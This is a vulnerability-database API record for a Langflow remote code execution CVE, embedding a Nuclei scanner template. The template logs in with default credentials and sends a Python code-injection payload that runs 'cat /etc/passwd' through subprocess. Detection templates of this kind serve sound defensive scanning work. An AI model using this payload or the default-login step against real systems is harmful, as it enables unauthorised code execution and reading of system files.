{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-0770/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-0770/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-0770/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-0770/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-0770/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-0770"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-0770"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-0770.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-0770\n\ninfo:\n  name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()\n  author: affix\n  severity: critical\n  description: |\n    Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary code as root, leading to full system compromise.\n  remediation: |\n    Update to the latest version of Langflow.\n  reference:\n    - https://github.com/affix/CVE-2026-0770-PoC\n    - https://github.com/langflow-ai/langflow\n    - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-0770\n    epss-score: 0.63839\n    epss-percentile: 0.99183\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: title=\"Langflow\"\n    shodan-query: title:\"Langflow\"\n  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev\n\nvariables:\n  username: \"langflow\"\n  password: \"langflow\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"access_token\"\n          - \"token_type\"\n        condition: and\n        internal: true\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"code\":\"\\ndef exploit(\\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\\\"OUTPUT:\\\\n{r.stdout}{r.stderr}\\\")) )(\\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\\n    )\\n):\\n    pass\\n\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100f9d2a56ab0305d53936cda67744ff3835d3b692510b1237ea3c04249dacd7004022100a2253da925cdf960dd9107420950bac459af3069a374e4d03e4f0dd56b7877d6:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-0770"
}